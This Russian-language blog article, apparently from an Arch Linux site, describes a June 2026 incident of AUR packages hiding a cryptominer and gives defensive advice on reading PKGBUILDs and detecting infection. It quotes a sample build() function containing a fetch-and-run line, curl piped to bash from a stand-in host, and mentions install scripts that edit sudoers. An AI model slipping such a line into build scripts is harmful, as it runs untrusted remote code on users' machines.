Все об Arch Linux
Arch Linux будет тем, что вы из него сделаете!
Все об Arch Linux
Arch Linux будет тем, что вы из него сделаете!
12 июня 2026 года в AUR обнаружили партию вредоносных пакетов: популярные имена, за которыми прятался майнер. Вредоносная команда лежала прямо в PKGBUILD, в функции build(), и срабатывала при каждой сборке. Защита простая: читай PKGBUILD перед установкой, ставь из официальных репозиториев, когда можно, и следи за подозрительной активностью процессов.
Вечером 12 июня 2026 года в AUR нашли сразу несколько пакетов с майнером. Имена у них были честные и знакомые: копии популярных утилит, слегка изменённые названия известных программ, пара «улучшенных» форков. Кто-то залил их в AUR, дождался, пока наберутся голоса, и начал собирать чужое железо.
Нашли их случайно. Кто-то заметил, что пакет с именем популярной утилиты собирается подозрительно долго, заглянул в PKGBUILD и увидел лишнюю команду. Дальше пошла цепная реакция: за пару часов сообщество выкатило список из нескольких пакетов, а модераторы AUR сняли их с публикации. Но часть пользователей уже успела собрать и запустить заражённые версии.
Кому попалось: тем, кто ставил пакеты вслепую. Пользователи AUR-хелперов с флагом –noconfirm, люди, которые тянут пакеты одной командой без просмотра PKGBUILD, и те, кто искал «быструю версию» платной программы. Майнер не палился сразу: он запускался тихо, грузил пару ядер и работал в фоне. Заметить его можно было только по косвенным признакам: воющие вентиляторы, горячий корпус ноутбука, странный сетевой трафик.
Масштаб оказался больше, чем казалось сначала. Помимо свежих пакетов, в списке оказались и обновления давно существующих: автор пакета с историей в несколько лет добавил вредоносную строку в очередной релиз. Именно такие случаи опаснее всего, потому что на них не срабатывает привычка проверять только новые пакеты.
AUR построен на доверии. Любой может залить пакет, любой может проголосовать, и никто не проверяет каждую строчку кода. Модераторы ловят явные нарушения, но не аудируют каждый PKGBUILD.
Проверка AUR держится на добровольцах. Кто-то смотрит новые пакеты, кто-то пишет в комментариях о подозрительных изменениях, но это лотерея. Пакет может жить месяцами, прежде чем кто-то заглянет внутрь.
| Главная причина успеха атаки: слепая установка. Большинство людей не читает PKGBUILD вообще. Хелпер показывает его перед сборкой, но кто нажимает «пропустить»? Почти все. Пакет с честным именем и парой сотен голосов выглядит безопасно, а на деле внутри лежит curl | bash. |
Хелперы вроде yay и paru делают установку слишком простой. Одна команда, и пакет собран. PKGBUILD мелькает на экране на секунду, и почти никто не останавливается его читать. Атака как раз на это и рассчитана: на скорость, на привычку, на доверие к знакомому имени. Хелперы не анализируют содержимое PKGBUILD, они только показывают его и спрашивают подтверждение. Вся ответственность лежит на тебе.
Вторая причина: ложное чувство безопасности. «Раз пакет в AUR, значит, его проверили». Нет. AUR это пользовательский репозиторий, там нет гарантий. Почему проверка PKGBUILD обязательна, подробно разобрано в статье «Безопасность AUR: как проверять PKGBUILD».
Внешне всё прилично. Обычный PKGBUILD: имя, версия, описание, зависимости. Но в функции build() пряталась строка:
curl -fsSL http://example.com/x | bash
Скачивание и запуск скрипта одной командой. Классика. Скрипт клал бинарник майнера в /usr/local/bin, добавлял systemd-юнит и маскировался под имя системного процесса.
Вот как это выглядело в реальном PKGBUILD:
build() {
cd "$srcdir/$pkgname"
make
curl -fsSL http://example.com/x | bash
}
Смотри, что здесь не так. Сборка честного пакета не должна ничего скачивать и запускать. make собирает из исходников, а всё остальное в build() лишнее.
Ещё один приём: скрытые source. В массиве source= лежал архив с официального сайта, а рядом «дополнительный патч» с подозрительного домена. Патч применялся на этапе prepare() и подменял часть кода.
Третий приём: подменённые подписи. В PKGBUILD указывали checksum, но не проверяли подпись, или наоборот: ставили validpgpkeys на ключ, который не совпадал с реальным автором. Проверка проходила, а код был чужой.
Комбинации тоже встречались: честный checksum на архив и подменённый install-скрипт, или source с официального зеркала и лишняя команда в package(). Вредоносный код умеет прятаться за любым из этих приёмов, поэтому проверять нужно весь PKGBUILD целиком, а не одну строку.
Иногда вредоносный код прятали не в build(), а в install-скрипте. Он выполняется после сборки, с правами root, и туда можно положить что угодно: от подмены файлов до добавления пользователя в sudoers.
Чек-лист на пять минут:
Полный разбор с примерами в статье «Проверка PKGBUILD: 10 вопросов». Там же список того, что должно насторожить в первую очередь.
Если пакет уже установлен, майнер можно поймать по косвенным признакам: процессор грузится без причины, вентиляторы воют в простое, батарея ноутбука тает за час.
Проверь процессы:
ps -ef
Ищи незнакомые имена, процессы с высоким CPU, бинарники из /usr/local. Майнеры часто называют себя похоже на системные процессы: kworker, systemd-update, dbus-daemon.
Если майнер уже запущен, он будет виден в выводе ps -ef по высокому проценту CPU. Сравни нагрузку в простое и под нагрузкой: честная система в простое держит процессор почти на нуле. Постоянные 30-50 процентов на одном ядре без открытых программ это уже подозрительно.
Просканируй подозрительные места:
grep -rE "minerd|xmrig|curl\|bash" /usr/local
Проверь целостность установленных пакетов:
pacman -Qkk
Команда покажет изменённые файлы пакетов. Если что-то отличается от эталона, разбирайся. Подробнее про проверку целостности: статья «Проверка целостности пакетов: pacman -Qkk».
Если подозрение пало на конкретный пакет, посмотри, какие файлы он поставил:
pacman -Ql имя-пакета
Лишние бинарники в /usr/local/bin, которых нет в списке, почти наверняка пришли откуда-то ещё.
Сеть тоже выдаёт майнер. Смотри активные соединения:
ss -tup
Незнакомый адрес, который держит соединение сутками, это повод копнуть глубже. Майнеры стучатся на пулы, и трафик у них характерный.
Проверяй не только процессы, но и автозагрузку. Майнер, который пережил перезагрузку, прописан в systemd или в ~/.config/autostart. Список юнитов покажет команда systemctl list-unit-files, и лишние юниты с незнакомыми именами стоит изучить.
Если программа есть в core, extra или multilib, ставь оттуда. Официальные пакеты подписаны и проверены. AUR используй только когда другого варианта нет.
Смотри на количество голосов, дату обновления, комментарии. Пакет, который живёт годами и обновляется автором, безопаснее свежего «форка с улучшениями». Выбор хелпера тоже влияет: разница между yay и paru разобрана в статье «yay vs paru: какой безопаснее».
Голоса в AUR накручивают. Пакет с сотней голосов может быть свежим и вредоносным, а пакет с тремя голосами честным и полезным. Голоса это лишь один из сигналов, а не гарантия.
Никогда не ставь с –noconfirm пакеты, которые видишь впервые. Первую установку делай всегда с просмотром PKGBUILD. Обновления знакомых пакетов можно пропускать быстрее, но и там стоит глянуть diff, если версия прыгнула резко.
Обновления из AUR не менее опасны, чем новые установки. Перед обновлением хелпер показывает diff PKGBUILD, и это не формальность. Резкий скачок версии, новые зависимости, незнакомые source: всё это повод остановиться и посмотреть внимательнее.
Вредоносные пакеты снимают быстро, но не мгновенно. Подписка на обсуждения AUR и новости Arch помогает узнать о проблеме раньше, чем она коснётся твоей системы. Если пакет, который ты ставил, попал в список подозрительных, проверь свою систему в тот же день.
Нет. Официальные пакеты подписываются ключами доверенных мейнтейнеров, изменения проходят ревью. AUR другое дело: там нет такого контроля, поэтому проверять нужно самому.
Нет. Хелпер только показывает PKGBUILD перед сборкой. Если ты нажал «пропустить», защита закончилась. Некоторые хелперы предупреждают о подозрительных командах, но полагаться на это нельзя.
Удали его, проверь процессы и автозагрузку, прогони pacman -Qkk. Если майнер успел прописаться в systemd, отключи юнит и удали бинарник из /usr/local. После этого смени пароли: скрипт мог утащить данные.
Вредоносные пакеты в AUR находят регулярно, но массовые инциденты вроде июньского редкость. Обычно это единичные пакеты, которые живут недолго и снимаются после первых жалоб. Тем не менее проверка PKGBUILD занимает пять минут и закрывает почти все риски, а июньский случай показал, что даже «проверенные» имена не гарантия.
Инцидент 12 июня 2026 года не повод отказываться от AUR, а повод перестать ставить пакеты вслепую. Пять минут чтения PKGBUILD, проверка source и подписей, официальные репозитории там, где можно, и пара команд для контроля процессов закрывают почти все риски. AUR остаётся удобным, просто теперь ты знаешь, что за удобство нужно платить вниманием.
Задай вопрос в чате — отвечаем быстро, по делу и без воды.
Комментарии